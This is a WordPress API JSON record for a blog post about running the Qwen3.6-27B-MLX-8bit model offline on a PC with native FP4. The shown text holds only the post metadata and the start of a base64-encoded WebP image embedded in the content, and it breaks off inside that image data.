{"id":4904,"date":"2026-07-05T13:03:58","date_gmt":"2026-07-05T13:03:58","guid":{"rendered":"https:\/\/waves4change.com\/?p=4904"},"modified":"2026-07-05T13:03:58","modified_gmt":"2026-07-05T13:03:58","slug":"qwen3-6-27b-mlx-8bit-offline-on-pc-with-native-fp4","status":"publish","type":"post","link":"https:\/\/waves4change.com\/index.php\/2026\/07\/05\/qwen3-6-27b-mlx-8bit-offline-on-pc-with-native-fp4\/","title":{"rendered":"Qwen3.6-27B-MLX-8bit Offline on PC with Native FP4"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRmZIAABXRUJQVlA4IFpIAACwLAGdASr8AUcBPjEYikOiIaEiJvHqgEAGCU3S26e\/cIKsUjtzxydnPitWQK7gSFXdv1Z8qPbf5790fbC457mPen4v\/F\/8v8vfu7\/o\/9Dwz+L\/3f\/Y9E7ob\/gf4\/8sflv\/u\/\/L\/mPdR+ev9n\/fP31+gL9Wf9n\/jv9F+1nxi\/sL74v8H\/x\/\/B+0nwJ\/on+C\/73+B\/f\/5qP+h+yvvK\/y3\/D\/Zj4Bv7R\/c\/+567vso\/uz7BX7ff+311\/3B+F7+q\/7\/9svgX\/nH+T\/+n\/E9wD\/7e19\/AP\/N1W\/Kj02+aH4j8gOji9lPjlxl\/FeC\/8u+8343\/AcefAO\/Gv5h\/gP7h+wv+F8ED1igEfqX9X\/wn9+\/dD+wfHl3H9U\/ED\/Vf\/YcqzQF\/of9k\/9H969jz\/a\/zX+T\/en3u\/VP\/a\/13wKfzD+tf7f++\/433u\/Z\/+7nte\/sOHW1p8wvTDvyZkEFddFgRLtujGZXWeXeXUZS5Rb7c6n3bTHfK2FObT6NJNtjpDbaGVCU8Xjle9in5\/S1Vf4YwBgvmX15HN2wj+isUcoM0I5sRZ1j3jJLzcLStfpThw8JKJAgRDfFYOMQ+wn\/xdzIRdbOl0gNShmuJflk7ctPCZV1\/kZYc2Wwgj8GCCTWChRm8Dt31lwS\/vikJyNuDkGJFjY046WrFNNUeF9u1OA8h4dgty\/DfqP2Y7YxnSvUrm7p2HVE7om9ODuIbMOPgEk1c7G6iJDZuRLQm+8YwlEIIh5Yb1ZFnFIJD+gB9By10u5iC2bwmZvD79MFAeJSttKkeheANhKez4h2PcO9MSODq0MVsXFVXgoLYfpfomzrE3hhTzgIIN7s2qXZ6etzcP1C9DNyMOyUEMxLR\/L2iye4nW4FeZVV6O4i6pc1jq3D+ux2Z0Tq8WAWiZSusnZu5jCDgHzOyPFaU9y2EVi7KNB0sdElyg+HDNZ4l+FqpwZOh1zU7FZ765mrEAAfVPVAJrjhMaGha4I0Wq+v1U78SNzs5ysU1UJtRY4eTc96Exx7dtHRslDtv0lsDLziwk7nDQTg9jeyCh7TqEdNJunJrHlrF80jSRSNJIz9OlCDlQVjpI1Tuyq8BdIQBvg5XENI3YKg\/ySkIfaJ+1UOtHxCNkyHtlsJxxAzyuX\/92EcO9NCepNViqqg4UXv\/hIhpYB2ye2m0FBJ\/xVMQRjET6BKMW4rAhyWieiQbLf6cC4Na3IdJcqpPrN1jI\/LHT\/EZPyQBlU4PyD88HrcxxvfvDLMhOAEh7TJ247g2O6MjtumC2hTRnn\/NUfEpsjy6t+BJ1a\/TDVl9KxXVY\/SY\/so9jnqToRWrBYON\/wOgwg2b3aBRYGz9qYmJhSZj+4IIBMzXSnTxdRzp+Lma\/QRtcwRx49ntWYdrgiTgD+izXtA0GoXrs9j1r0Cpw9Opsk4JTl0zpn09e1nsnehE\/zLQKxxmulbIshejqxxzdCfqmBkoO6zCwu3dEc4io3rQ5NzJbN84hyQlrJBTaBZisvDnSbp5NoHfijbvQSZGjo4eHGa8E49yR0HXFelkVgNZyo5A8Bbgsh\/\/9aLEL8nSjtScz8XJgrEMYxEEV\/9YENDh5Nw5EIt5SYE3Fc5355DIzBGa0iBAxtOVtlfleuwIQh2wRt2vbyNrcx4TdAMZN0hVF5wDTL3Mpjf+ZbyL0Rn5IUzp7g\/AHj8S2vNjgJwN4r8efbHiixtc1BZ3XMxYRZbL1Z6FMMVSN2+m9e6rUdSH1379gZpbV9bH\/a23oE1yjD0+oEf3mOP89cRjDQdacoNwoLcavOm8nCH4sCUCio8TT62KWp99sy9KOhW2W+ofy4Daz\/9aw+KVFdhTrHGhKzob0aWUn86zbhyQIIIzplCuZGNkY\/ddUMfUuZd4IkDnvtnBzCDc7nONofN\/N94ak674bcOnKxc1J7O6om5jmg0cuFwt92B\/PJFlSXrJejI8YgawBMQ24pWvj9w0f3wkeYwOEvUvjbMf8ytwSJ3mnCb8\/1lZ1WtLaRTWjNxKt9fnTSX5zlaomn9SiV8+jCnqqVewtKFWHmTEP07\/yLV22zDIGSgJn4u4YnmnOB6MQsF3H71A3nh0HcsA2+fqNCwCS\/Log5ODmEc6OqJxT3znch7VG5sbHiglU6O6hBXNGrk9MTrxAfyYX2uqHEETaCD946iCO7OOfSboZso+\/S\/S8jOUH\/5hNSMAvNlC1+h9pz8Mh3\/Tg1Qh85X997Wvw6gDQdL8taNHko7APktBTeOsnc8Q\/3ZriGM551fn5y9Apw84ml+Tkn7UNUvemn4JXQHdh3JoZRsDYeY0Hm\/SXQKngdRHCWgAPyg4CEgbwLYmrkSFKXH\/gwNEWyROdV3jOaJVSJ+INHnIwUASWf\/qO2md\/S1Jrw5nKx1eaw3sXSy46F7r3u35eULOay1OFf8GzRjZ3GXeOqsUrMvEJb6uEqti99FuMi3uaR8gzBWWfhTUcBQbJSIhzzvZTHibnQ9514viYu6WKZ9HK4i3lxE6g7Z3+roSDZatkWFQ4rGX4sUOG9SMEKqUtQpmRgLL53wOUiRWqXwgyZM8+s17EZg7p5j8ydUOVeqrJg6ygKabUjF+dNyDYfnaxuRqxzfkj7Gn3BywhjidwAMM9\/otcQh4qjbQOV\/GlWk+vNT\/tj7XCMrAxkk8+cc7fSit6Ml8I2eoOCk\/FGqAfmByBFvu+nSrZkhLWDY9ALQGIQviT3ilWWp1OV7chTEPF1gS0rfxNeC1hA87kaLe6d+Iv\/KtY2bg88IOqK9DGnOIRmC+mnlCZKnrOV0v55NpkqN0p8DIlnN7HFTUVEqG3UEeP5sbaCdsHFkh5uUOwwL9bj2EUgmaWgEAG3Mn9NsXcp9etXzex90lgp8HQVwle+lTQepgVhfH8nHWGtcAPf9sC\/D\/4dRfkhlTe4k7r6oDVVU\/QUUIz5N\/EZwHQGeYlSzD1MW0v7um\/CUZNDfVkSTavW4hlFhnLeTkiuDpw3CwGEPnBv4WMaVMG54zvNv5\/abOO\/OJdqXWs08fT8j7g7mP4InYwDwaqcFqsYubf2cix\/ZhOKSXe9FQNQzHplp4yFn6aLidAs2hccpIRk+rLEZlzNEwJKW+w4+eCFBo+cQ0h4r139GsO1SCZSgeMUje2ridjqCLrT+YvDvhMbupx+8O9R8hLj2AC4YB7Crh\/kSmV1Fmbmm4y4jg\/gbVxG+gd\/rIhW2p0scJSyyb5PGvzM\/j1ZZwV7dYlFuqfTIAD+\/tOfo5fhysfs6xlxaaAvcfrD\/vO6Z\/g32+8knRFO4Kjjob2z0sjrZklESJeAtCeCh6U7WUMaSk2r0Z9bUQSBcYIjg47c4+J\/EZf6g6QMutO8Xq4IDNeGuecSbLTEEc6\/jjAgnFhAqkVnf8YQLT8l+nVdUfqP0Wt4SDjufxnx\/hdMcqm5dJf\/EVg1ImDMB+UKdQjwqqw\/Hm6zPA+Xuw4ojBZfIAFTLvHdbBzuba5QbFkIgCZ33sJFzt4Asi8W4ZCz8zGG6rkEobc+XlcFtq2hDRXGSwgo3DpqXPwEo9lynk3fiMC\/tZ+GrXS7asib9V1FP8ga\/drYdXsdGkZSpAzzIJCOgccSwCJsXdlpcLdrW4nBLn4k7IRXmqHMn8\/GpyzDch8CwflBMi+pbYgJfc12KixqtckvAIzWy0gko94fw+YTmuVj9L2wDrEhtRtGiH\/BuZmeeisjmi\/p\/kquGH+vPjhHKJc548nHA6pgFE0iEn5R71gaTSarFI+yujKJfZCCcxgHZG9QDGRWtYOiCxYENEOkBaziHZ8CObTc4pnBSEG4tpkHgooSxVOGpM4Zbqwnm1\/qT\/sNC\/t5e8\/jfS084wyfDoAG\/txrxWLblPqW1\/XTlPK6\/0uuJiRyRU5rDVwGcpumMnINMVLbPSemwb4IG3n4gehOB+AwYJ5QNE5nn6bZxFbTfGNNOLQQMNqHhy83t21NeU4+8fYk5j0T26sJgQPsIifWs6ASDMudjyfV8bxiI\/CD4pVgSVGwoZ1MVZrmvql3y0m+OwaDlA2DUIi7Gw8Ul\/QQ4n11bsaQ8mgR38D\/mmPqBdBMv05NJZ5MBDmZuoyYx4RAHvhE+XMJYCBGVTTbREQqHwqjMefLP1Fqnj\/T8WakqMuETBqnj0fN6vm2Faen\/wxpIa0Z6cD7xGBO5She+wnlt4L0afgnUChTwo2QeN22uJHY2pdqZFjAr\/vqd+CognhDcJvbCQzczMdGGHfmGTtiZw7W38aLTIFF7AfFkR58bjmMVNr\/8\/I4bzE5yKwllVrxMOYwD6AOdsED7YXuEzzxxwPrgdgn9KCwgkrPK5v1kqGgzMGlqumrVdjGfqCMt1YXr1DaQTw9DSSx+3Vf6BsqpXgBWiz+E70HxkYQLT1rIllN2xuqXN00Mu\/hc9WQ5+R5TFtJWOhXue1MhA0quLCiBOIsyt8OXYXRd76zYIP5nglYLQs5FrEMI+\/4kIE+giEIMfDKx+8+B7Oh2Ika4e39yS\/R7lmL3vfrrwaV\/YCg6Jt2XafJeimDu2nj\/C6bo1C1EN1AI\/2LPGYBQ082LPDHlTOic2z\/eWULISFWZcy9igR4iOKE5a09DO\/DF9ZEEDuArwE\/sCRAcR\/Vw+JDtfFGbE3hbvj203kgQ1JUFbgyYadJQp\/GFtg\/Id7+eiGJoYji0rGRfHPs2wPPgOBt7NKA+CjemliEVLgKPpGURRtekBXqU3loct9LejpJlC+G8QpUov5ZRqy2F6GqRA5TU2rfRMkpUEVldRN3BByPVMwBVUPZ0CFwrXp9rhmOfkkcYBeMn57NfKbVmRGKbpo0X6jEyZ01pE99OGeJpPIIagPymMRAk8syyajTFFkVOGr+mPQf7APjqPruzipTcJy6XHxfs32CpX3hlImnYcN7u\/xfZLYL1Ax5tBWJt7UpRlTEa7OsGU75loPmIhLjnSoBdh9t1AqrjBWO\/ZhKerY6\/EG5\/3HaLagQI6IVfafcmEGz6RzGQrxu4O\/OjiJApeXZGY1pqnjatj\/407BuRaMs36\/WosbOJE\/ZfbfmAfTkOtOC+rvXX7SeoTIeREr5WmYfvkCL77CYW\/uZCg8pprkzXx\/eOFsu+fbQd\/rMvLXfAQEJcTxTSn2tbM\/Jf5sCb\/fpIIe0IHNkHDl1hhtiUXQhD+thAGxQx1DRNORT2XrJvIjfrZLv7xznmPyh8S4CRq9YW3zLm06YdqxMqJMKHhV1mvs5YJJcDBpQ+uM+x0rmokwqfuR2SPJKlOZyA6KwcJDY5Y4q+sca+fxI0aJv1\/yZhB1QGTXrzWQkt7khMILtHydvmFiU6tdN7BCV9WW+Jh8\/a\/9tIPZuUG0nHJAmyeKq1Pcq9yFSVn9cAk3JOMdRwrUB7Od66\/OFr20fUIocrlXCccJvolua8WaoVhU33TAa+K3oYnHPCM3RErWLPAG5lghxH7LX6xK3TPU4IlaL9czkkYIUsJJINuy\/QPS1X9B8VShaG0Ro7vc7D1uk\/MmKBDQgGRqyUAd2iVsLF\/saEAnIyjoMJ0ldKtTqRc0Xcinnjwabhy4pHMjfc2LbE2ZWZdQu\/STrXdlSXJqVDKfChOKPmCwAF3r3+\/uiZS8lfQSsWaHix7kOGaN7sPr10WwvGBWn3GPDIYgqnLjAz9JlZwRhW64TQW1bomI+gFiILS3hw0vhyqO3qJQktgLITda7cvkhxfUBeS1hLF8tL0UbYEYN3dn3cgTdDjyDZ9roVeIft1UaFeD4CEKL2jAeS2JBaVBMTLEPl7R5Acy4reVCpp2EsXJflAW+6lzSmywadAY5axc8xMFuYfGOps35SSkbgwZ5yCZtbrMkL7DPD47R1MGt2IHYIrYiUF7ejGXW2gYWx+4jSNEcqZNog2K4Ww4yLianDUdFyDPxnX5\/edJJ+T9+TtYCbOfIDzP4k68J88TXf84ciLOey4xBAyKfiAmNI5K6mg0AfnSWOLLXwDOSi4bNdK3EEqlYsaK3xOS3nRnlAw3Fwb0t0HvWu4TqbaNzNYVa4v66XS583Cl5NdY\/aTpIXAZX6CL8uBxiEUE08WTyEeQSR38vA2EFB3GljQ7iKubGsYZwXgOvBNWY7GIlq\/KImveHHVt7hEhrQgILERYxKM1eUcK7vopvgWttw2EGOBzhGl\/sJDkSwLpEYtG75TV0q7boi\/jhwTbhHbjRuLmUcoa1zlPL\/rlAmGJDuSPtic\/OvdggNG2su64FEcMxERoC0usZYdBGdZqFh+C+4njODVlj9phNI+nHhso4GTa4fo\/rskPGc62NjxXwU5JFdCPIalp16y4D6dodPUNAWKqGR1dArAokmSJrRs4SYZrPky6gO\/UXJvTDJhqmXVBg4W0gw427lcwsLC3PMgE7IdXr\/xKDa5tZIBWS8ooICGOu79R1qGNtXAFVsbXnxr17hqQ5YYe1a8fuZ0Tg3OEBSy6IW1TUvtcde53L4OKV9HEYB\/JajqjiS1RFOsdlIFSFRTB\/KUNj57CnXfYI33qLkKuJtKIi3T0WAkMgLnf+h2TWgiCCyx1N\/HJQvj3QBjtYmWQaiBIGYC\/qJqEfQQhykqZ9Y5XaIOH0ZZCULCu\/NPQOio0DU9kz2lmoahEC9nq3+DSwsxwRDxvxWvDzJ5aGnPNOLEby46K3\/qiIuxAfXsq2aBSkYY2wVU98t7TSS+bkys1V5VUJZ4d7Txinm5PQqJBb+buV3Fa4ByMJ2ErxHi92n7I0TxmGnXMnyI8NmfrgnWXEZ52PlrfcZoAc0BINdH4xHCiob68qpVQUyJstZaYUcE1WFDRuw0+TsRxE8aQvFsxEqXGA+bGsW8JJtwP4P6Enn0cePgbvGSx9NMcqCDBQ7goSL+dYi0XgbFRrj50R+nbPMMa03WVdvZuEhp7eAuVQogQtuz54QBC2HJFtUHCPoj2KuVXzFsM4iZlA97\/ruiTl5Bm0feisXEsijeVdUZ7TMCSeJwyxX61cDpm1ZYJRIMQX\/eqT5QGBoyRsiOfxdR1e+ZqNc4vcNj\/oknRzSNUVxkIp7u6AzMqlcSBxLPxN+oZduZ9rC54auuMgQ51WvqkD1oZmvffoD9SZOr3mSUdxm8Azr1NEOMXxHdTxJQTE8E+3wA1bGmchei7bWRavny1ENdGM1QoU15CIWIHV0CkzlmLl0xritCekcmfB34HDR4+spP+sWcprbYtp+BkaTaEDkQuUrVNmm8Jlc43YyGUBR4\/v9DxZYNMmqlDvNKg7YyL1DjdfAlwywlwl0h2k6J4u9U\/X1GooTFGhEDRo\/ThdNTdgz9sxVP7syFO33rSKwJQVJkNBjIeGRd3VdkswGvENdC5dx+JlPtsKCmpp8+pKTKsNa9n8eySYX14GpcwGu1cHv2ZVfNLPp+dAjF8Z9JIfMNQYFRx8\/hk4lJUEpCR794vHnlfZalMcfDvo+9kX\/LPCEYDtC5lxTw4Bon1FrZBkQ4Yooh8j1jv4bcyspM6+Yh56v0NXBWtQ2ch3EyF1JeyRrSbIt80hbdeez8H5FRuvQkkJHKwRLU6XRlyXUCXwM3NB1Z4hKJup\/l96MoCTfVk1nj3YcgB5D++mB+gc3eOoGdTNVl6NC+HF46\/I5t80oTWSg7lkebAae7Vi0IewZmbV1bPjFLuG2X+8wdv0t2VAJZdFMLBCEJS1h+fpeVInUkj6tINuAC7yZrr3J2v7q+TkCccM7T9bPqpkrwzeX392Ga1aNg0fauVsrClLVI6lzo0RAohyAURYR3K4eaPpxlQj4ZpdEp9ifJ0e2uPIIWl098yXek7\/xToXopnM30qBOuE85FZm5JQR1LHIwRYxPui3qGu5vzK5raI+Yu7el5qPs9+FIXKmmSfdxnoZl2pLMOHiP0U1zzCimyx2LJw\/1uHfuFcyWUEJydXz8LW29BjhKodlAdNasz7wh5\/99+erHZ0QVdzHUMFhX6dHbX\/1EqIW81zDU1j\/hXX426yWmEFsIQLQDoLQrymDT0ezcmeYhzLB8PPI3poDdvNvfB9IwcM+tRCKpBDF0tVF\/up0C\/19VaMo6rPvjfz\/K2tT848\/Rh6VDNC7nn70IkxbeZHlAgSAkgou7Xyu4TFUCYT2qYVv2J2wPdIePQiDvk6FTHBnAkxpgx1ArVNtpfyH9btEXQo1tN3IvUWvwzg53mwcRXC6HxeuWseLn55fOgpcG0CJYfEaD79hKGELo90leGnWVPwJebBRiQafZISCDXDOo7puzdbbTevSSJUSc6jG+4o8QWvVLZebFoBr51aGfdNwp4+8APYlucJkCYQenkUyquFi1IXnRTw5PAnu8RJzBoa1ifLNHn53SLcaTe194O4yWAU1pshENlXVd82+3q8Z6+tc442opF4JUMeXWh8d7AHpdSUUy5PnYhAeerb8dhKfvm0uAZfqLI9BNajygGSuH5D\/vIWMDYqn4oAOOUrJlAb4HUEzuJ109CXDlm3sU2ijhHrqtFvcLrle1DjrwwJO8yEf4LlYXuOEGoX+4WPsaKHIu5sfBWWZUwQEswxxDWiBLDsPsjITASpwOiEdmNDaPk0iy0jqkn3tGdVPPyCvsyozpfv9nV2R7t3OCfGw+iDRi9Pwc7TBjiq1NVU1jO5bFxcydgh\/\/UKf1szZ72UWX4ESZZLSkMu9i3XPndmZ2wRhYEs5uPBLL4xsB35wI8w86JW59KyG30p459zd11iyfz9jN3\/Fqk7GQaF66bJ1Z4zpdDlRH6MZMrNOBhUGnBJnPGXZW9BMPXKiMRiLxoaRjUMt\/+EwbQntcQ9O4HYqO49yJ1ztV\/KBV6mrq4kHVp05IREaIC5drYa\/6+66TbswQV\/ypmMMD7xjGQ8gM7Piq83Hsxu4YH0zFsbllmeU6AwnGYzOGMojWZa5ptwb9C5lY7GL1DljBxr\/7dJS5d0fX5eRI5wsV75TUN75YyoJSzSmoOWgLsODPAjsylFNZBjplpgwMLxH9GSHdn44bv\/21e8xpEHug4FCyqG7k+tCpNWep3peifyjgeSzgJmIIDPbap\/+lEIbkVkPLSeYeIR891\/4wUhn+whQ3pmRkUca\/VUD\/QvjxXdTmRSV8P2MI60b3Mp7tMpPBbowxNgqXEnJH6JeJRznshUAtosl5a8KtxgZFI4vWamZWO+y7RUhk+TocSag2g57iWK2lcUr8Xw4beBLWBhzmjcIs8I9gCe9ZOBCKQhtrFvyTTuWgKPzjJ9Hva\/IrRjzPMU7VheUbTEwGgcyzYihWZJYrHMqoeBv8ME8jGLM+objJev+K6j5gYu1lbLMmT51KEYWAXXISfwoYKdKKj5DbOpc5qncvzJgRt6s5pqLywbGu6gnaHs+\/xDkGsrB5vKMCHhqI2jQIC9J4+Tm+zSv4h\/BZ3TYe2KLw\/NSvyanHHE4fIei46jeikr56o4HzYV63y5DfLCySnM0SP3vdhLgrsiaMIgP2h7ws7NrxMBPECwlvJ+yrHhI4bVMJottwHzjP08ByvrxMTvSa0X1\/EbAmKmsD19xHUsynMiMFGt+nfTZNsdBu6TDcLHCPeRLcivtaMmKGBJnVmsi6qAakQ\/9Z7EnhOsqJwm6LvUWSsUGIEntnr96IJEEjkEDTT\/0LD2qh0NHiOqv2QSmKLQU4cWUbdNGkrieEoyCiejxZ7sJq2Fj5HwCrkrcrGOlp6+jdlg6yEYUwruwNr76PEU7N3JgYR8vgHn8SfT+RIM51oh0gLM6MAwwx0QqkkXHbgdO6p2tn3q3B6gebyAiyg0c9UcjsqR4zyryjEtYPUuso5lEFBvhsyxYcDeX9e3Ke1cRh9\/ZbBCNO1xfKCTRfQ7Q\/D+7slPH0eK7u62xAzV\/zvMMkMUg9fbvuu6Qlx+o\/1qNryUkKeBgP9QTYxKqHHUkq1Fpw0p9VQxzhao7\/87CBnGXBhsqXraKI543deZ9fDMwibWL9YxfIbBgS19JYh6Tz93Gzbsn970kieX9CzlElt\/c4Sk6CwM\/sZHQQtqwtSphpukLWhXE4IblbR0CaFi\/l3K7smepeekpPMsu5SH8J3QQ8EcacmPSnIYbzmnLWYvAL3JtvwOE6pJJD9a7ZpBkqGmDjEDQn6lI1PNxe6c6hxEIwMpzDWLHewncLZ0jTwe7nVDtk0KcL15s1cQx57cgpWNlEkfKYUnZ4W1wE+EKOJqSeAGNyUdaSrPAAZTFJKFTPO5JuWKrBbR0s3LtODDIIqkTAnPfAWEVUd7D4gYRhrsSUz7rSdMkbFqTwj4ivM4wK8nQ0NlEfPFnjQarkMAOqRuNc1UFuLvikppFnKNFbj\/pHSZXwi8AaJMNaZPGcPzpYGJpTUeeFA4PsSg8D5EjHakeL22WHvCCdgFEw669nwzeABIoSiZAOLU6ER4FlSNBTRv4MTDgOuz+Tj47O7DqzZ5R1wHGj\/mYUSMFceMDs\/EiYnOnUu8mmwK7d+jtrzeZJ8jdfeBBEeJicg6Y4U\/TuBjgeM+Cfl2Zjd+3jEdQqaxCLlGUt+dWrfI4e65t17RqeVFDyaRtzFgv74H5oRyd0QNrpcSeg0C9rlkKoejtFEhfiAcq2inRVgMjPrV0qLMM\/iXPc0exFPWIn1eW6Bpb3cwRa9a+mNEUSBgnMJTAMJjD11ahYKq4XLPATqujT+ZLH6I2Bu3o\/w\/uBzc+0osEC7lfqMVWBkLIQurBWpagK5hwwLlAVC3sPqILvT+fJrTddlQjw5itWSGP\/psGV0LPTJMHAXeUlixV2kmxrohLSgShXMNzrvGtg8QhdK7hl1RimwZA8CaRSz4vUzccFz4ybnk7aW7hwbnwy4mijU8aNl6Z3BCUlQjYhRrH1pEIwQZ0nCgck8KTWyr3yWYrL69\/6o7vGccm47mIQkHrgqwPC1Jq7PzQT+KdW1SO291e5a6lbK6I72x3JkhQTRdfuRbxwkx5qz41Fla55pD5Gv0vrYOdzd2F2kII+L7BrSwU+fTX0sJz50mrphVPelx3\/EL+hl7GxapDH78e5qesxyoSwAptJL79fxijX4KfWa2kK2dREd78bN3ykYLOhdx5mQ83OMPaHLj3aPaI+xitbmbqNCVXCYP7kJgQ09OXM+spCgA6cUYFPhzF7cKJn2Bn\/DmohuEVn+Uww0FQNe6iohJKAYuqgcO5iexCUMORkUyENVzfDUm6EwmIehkCoFWVhgDwuLR16Zc0tUOPVKPfWNZw4+RwpG+Ij2YeJ6OGEZ7+fOMgbSwV9FttJnw16A6v2BCYbDVm4msRQ7Ls\/VbYL4BbRE2scD20F2SZ5hslqoWYD9n\/coHOKMk\/OUqJZv44tzjyAhv66tl4FEtWXwucadq3m9Hmpz13Z9lnT6jHrktxzbrpn7TFhn99oQ7Kk1EYXEdsD+0fjs7GfGyzctKIZhDEIi3aegpzv9396rwZ4sVjU2A95QuSZOeL0BNe1pJ9hRss5BVghEnv1O51Brzf\/KhehjxAfnUKwgHLi4vnUmDFMPS8sqYlPl8fj4CqyE4Eh5uM6lNa83zMQ0YU9mckS4ObY0xkoOgZCFfxRwj6Nwd2cBJ0TouB7L3eq3X3xfiYpfmoCQTO2M7UlN1JWdgk8WZleEMnS4GDMPWokA7MPZMtNUQbjFdfsF6NwXZ0VN\/NvoZvrVad2I1ZwZmRU52\/qvWwMqKTyG7Wj8IwqRnqeXQWuaEcVR2Chh3P6ykQEWoyh0lDEtf2tDkbUWbQcHvm+F3DfLcxFcDennHsRuvnHKrFblWtuEn0Mpb7xjdEtESKvqmlzTNeZkoh41cKiJMtN7zVYUwgq553itIUf6jTbqFWcEEaiiCvWHKhgGwzyK7wcvFy08H2+1CzAXVE1tYaRtXs8PrV9IvozokY4WuP6aL9CcC86Wu91H9GkrdfkGsf1sAIZ\/538kzcqe25lPc6OXR+hY+EceWd3M+O191w8Lt8PvlX4MXwkjclEXA8K18YKFeqBFaJ+bP6v88nJxcT8491ue4Lt+kaQq6c\/kAAICOc7g+aij1WDtLnrJ+H9\/RjML5YXkxVjbFe4HzsoGI+czOEz958VQnpPpYFdJTOmGOLMsmnAmj0m004Xm06i6zgAJVUN4MDAWhE0xy7ih9OLXvxD8lyc3QkeDChC\/dg29omQGrUFLteUNPosLJn5LlvnfsK3JKL94nccxDQnxes6M4axMLVUVU2Q3aQfeySWEFbK2I8OEHnsWuCrWoxkw89kbQunTbjM2faRDtPl66iffim1K8f2b\/agkS3B0XIdnYU6AG\/TYhb\/524+vSYP8etfampb3OGgtG7MPXxToBPdPk8hrFecoqWAD\/AO8uZ+C90yyOqdT5yN4df7Xiosn20tNp3z57Y4MrfbT9D4ju+yB1B\/nLTYqpeIsKKSALpKwF10nR0fSKuMkE+Bj0F8\/oPaaB+5gC0oi3Abpov+7qVeKUksAMNcmBsqwrvsVl9K8LXZULGSQ\/DWsnWfz0xwSVei5n1pwT+6juHh\/ZQ0sDK92XXeyjIFpDitwm5L3afClCSssw0ZU1OEJTxI8EzXB17JvOFKbpcOeSdKyDXpRVzIn6I36o9y01xomZqDRG\/L\/Qk2+p8qvo2W0CpPK3Nje54FlIkj40ZMRTA2fxgE6SxIl1t0iCIFQ0KRW7QjPsCoNRwoX6V3H357I6KDQRzpwjzEnmUwkD83IAfEsuGm6nBsRhIikDcYxFkzEMgpwPQFV8NkAjRCffoogz6FoGoYKDjWKHyo+1UwkqJN3+b+x4HMFXB5jnOGhnIWUg0WjzvKoqovW27nQTorphogEP4X\/wlHuhEzT+ypX0jtz2PQTiZT1xPZ1tBFtQhuYW9cR7j0OrqgjHzjEm4PvUFV0K\/mq99mBMQRnMUd56WbkNsij07m\/8BWnLEv4L3\/b1OpCTX+GrPbt+99Ww9mEiOvmZudI\/jW+FjqZ7Zn6bFcqZtRnQ5ueEl1LGtaWbEAiZLpvcXPhM6VJ2iyrIvFEimouP+72cN3d7OZBBPf2qZzVtOTeLvuyMM5PUTohgaXfEwOIY4sy8RnIJuXv9yTk\/os8jYwP1FkeXUHgf1+pcVDiT49snzO+fKrILIkGUm\/l2+frtPNhm\/yXkUCSP\/Kizbg9uQlDd6XKdNUweB3YXlWNmp+eQJnFnGgYbw+L98U01\/lrRUrz8XRgChtcTSHz1ju+Jz2r+sKa3cLqS0RPnA21VJRjtwz6bum5afYyRBIOu5z\/p31OLafko0wC8DtmlaMg51a6E4nqeRTndeABQ4yIYEb2iUrItURocR2QK\/y2MkbdFHajLwrdA9qQGJx2PJ9jUPRQ9fIuTevzV3Ax8hzVLKyRz5lWKQgA8cA5Pwi5Uhc7ifj\/ftEbuZe6Z11sHLvlNjbMs9HEDH6ZzO+p1jS9WgSnvZG+TjHyM27p75VxkgfalNvBS4QGfGVz6NzSsjwh7PBKaEPtMnhJFPgnWs7zTVcccwf7adX7PWHyvDUzMbfPczvtaiK+rJJQXs9kaFCp7VTqOHZ03wQTYsdmHiWrxMNDMYKdQN6g\/y9W6Vnav8yM3wG7JWaQuMDkBcA\/Sshsbtu9v5Fq2QdGQphYt4XmzfcOzG3g7N6rJKvsO+1pMMoq3vcTTDLCmvGR1VQ3N9E399zeNnO3F9gmhlbehw+mh50BNz2\/+DWZdPwocPjVlA6x0Tbkbv\/1ZrNrI8JCMSjR4iBZAoXzrqi5fqPf+AQrqhxGpKA5k9JyXrj8zTJ6LwFGbYc0aLb6frpVoG7Sn7qfyL9D+Fdg2Afv5JW3GbcAGZOvenOZ+RQTq\/S9WpJNHL0Ioz\/VBipVsdCQob6iRTiymBm3MElr06xSbDmteZfwN3\/86YiW2ulOdp8cke7gyrVmw2QlIj5Hv8gUpK44EuRmorGBdehoe1+xNHTQncPXlHarW0x6B57Dz7Pal\/CWAnn8EL6N8Y8W3DX2cV553MRxt8CdZIEQ7I4D7Ujww5VTKZOFFxebQq9oM0pH3QuWONkG3K16fvYqmAHITcjUcvw9SgjWH2XA+PoNTuQZG\/K4WKN5BIuSPhP4eREJQZDJcK3fttXDu8igw7aU\/g74QVPJP6\/QoclftXVsBsIwtNIi6sFfP75Vy4NGmZjrCQ2gXvHOlf+bkXnZ15z5g+67CZN\/6X8nJ92IBtSYxC6wpGKQ7L2dv\/ku2rQ\/rhB95zyxXkCu4ZdwNznSV7ruqeIZwL12a63QHlCRrF36AWHJRlt77SQxx4Y7yz7yqZ+iNzqk7zPn8lb1Mhw9mqZ52VOgV53nBbLsxSE9oWeG9KQIVVQAjV5g5hz5mSTKz+xvw+F\/SDpyuDcKx7N5yixkT4EiS9I0z1WX2gGJ3Q4vSBB1ZIbZtJKBOMOi1mRgq9ELXLWddGS0OKVeyTk21arPYuf7ROoBsfylxVODoYMWgkpnmEbPRTeYhvpQ5f4Cgqhrrte12nagmHzEHUZVJrvQN5GXf4sJoCt3hOycQm4MV97F9dMZODeC7BqrC+ajZ6ZGkyrCY+DG+NR8A4+SNQqjn0n8KAF\/M3tv1bv0ZKneZOhI9c2rITYZS\/IZU3zdH8V8PrsheCx7xfh8Kii5SYhPk1THSuUUOv0sVLLz\/3M97nG9an1YKUMKANEpVcPh6xoK3+y+i9lYPa+JndRwiFjSf0DvoTF4oXAWJTEF78JtVH9blH9tv\/JSPgW+3fjYKrX2f6qSu+BdgUm3gbq4fpWf6FILZYz3kjy7O45Aq4DpUJeWj8WIheCBcwDL\/3jrPLBGv8Nh7u0f+dYoKIXy8QQL34lBJmEbOUwa4Q7xiUtc89kzOK\/9LtOu6eQ410c4beNt0rZYhSn4IYuRtgs7GXIQEodCNRR46Sr\/wDDqKRBK7qwhTxgNOhxq0Dtk4alNY9GkCYyFD23IwLuAYO8rtyrbqBztwcaybDtjR5mUqftwof+sMlzTp+ZQ7spY20OKutGkzIGuoqs2bXp173pt1qPaXFmPdnpgRetA3cIJb\/zivXXKIG7AjECFp0U6MOygdto2uoelMlhQWjvIUoxzeQHkEbSPdaWKE\/5BbaePXvcSPGp2F1nqBIjquE6bwWMy3Z83RN2ClEzPgsdX4hd0w5wZ8ockZDgENL7WVYfWNRSGUkO\/PxuV3TCJ0Oh6xes17T1YSKUMpQCNlM7+1pLwCRABFbjjFnBOHz\/k\/1mH2L